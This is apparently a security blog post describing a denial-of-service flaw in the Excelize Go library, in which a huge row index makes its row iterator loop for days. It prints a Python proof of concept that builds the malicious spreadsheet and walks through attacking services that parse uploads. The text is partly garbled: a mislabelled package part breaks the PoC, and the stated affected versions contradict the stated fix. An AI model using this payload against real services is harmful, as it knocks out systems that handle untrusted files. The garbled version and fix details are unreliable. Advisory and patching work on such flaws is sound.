Listen to this Post
The vulnerability resides in the Go spreadsheet processing library Excelize, specifically within its worksheet iteration mechanism handling row numbers. When an application processes an untrusted Excel spreadsheet via `File.GetRows` or the `Rows` iterator, the reader loops through worksheet elements. While `Rows.Next` correctly performs a boundary check against Excel’s maximum row limit (TotalRows = 1,048,576), `Rows.Columns` consumes subsequent `rows.curRow) based on out-of-bounds `r` attributes without applying the corresponding check. If a malicious or malformed spreadsheet contains an ordinary valid first row followed by an extremely high row index (such as r="231999999999940"), `Rows.Columns` consumes this oversized element and sets the current row pointer directly to that astronomical value. Subsequent calls to `Next()` bypass boundary validation because the cursor position meets or exceeds the seek row shortcut condition, causing `GetRows` and the iterator to loop through every single missing row sequentially. This forces the affected CPU core into an intense, prolonged computation loop lasting potentially days, effectively locking up any service parsing untrusted workbooks and resulting in a severe Denial of Service (DoS) condition.
DailyCVE Form:
Platform: Excelize Go Library
Version: 2.1.0 to 2.11.0
Vulnerability : Denial of Service
Severity: High
date: 2026-09-30
Prediction: 2026-10-15
What Undercode Say:
The vulnerability manifests because row limit validations are unevenly implemented across iterator functions. While `Rows.Next` checks if `rowNum > TotalRows` and flags ErrMaxRows, `Rows.Columns` parses look-ahead row attributes directly into `rows.curRow` without verification. Once `rows.curRow` is contaminated with an immense value, the loop logic assumes it has advanced past the seek target, forcing `GetRows` to repeatedly invoke internal step functions for billions of non-existent rows.
bash commands and codes related to the blog
import zipfile
parts = {
"[bash].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
"_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
"xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
"xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
"xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
for name, xml in parts.items():
z.writestr(name, xml)
Exploit: (Educational Purposes!)
An attacker creates a minimal 1.5 KB OpenXML spreadsheet (poc.xlsx) containing an initial normal row followed by a specially crafted secondary row element with an excessively large row index attribute (e.g., <row r="231999999999940">). When a vulnerable backend service handles file ingestion via `excelize.OpenFile()` and calls `GetRows` on the worksheet, the library fails to reject the malformed index, pinning a CPU core at 100% utilization for days as it attempts to iterate through trillions of nonexistent rows.
Protection: from this CVE
Upgrade the Excelize library to version 2.11.0 or later, where `Rows.Columns` properly enforces the `TotalRows` maximum limit check, and `Rows.Next` halts execution immediately upon encountering a recorded error.
Impact
CPU exhaustion leading to total denial of service (DoS) for any web service or application that parses untrusted spreadsheet inputs using vulnerable iterators, requiring no authentication or user interaction.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
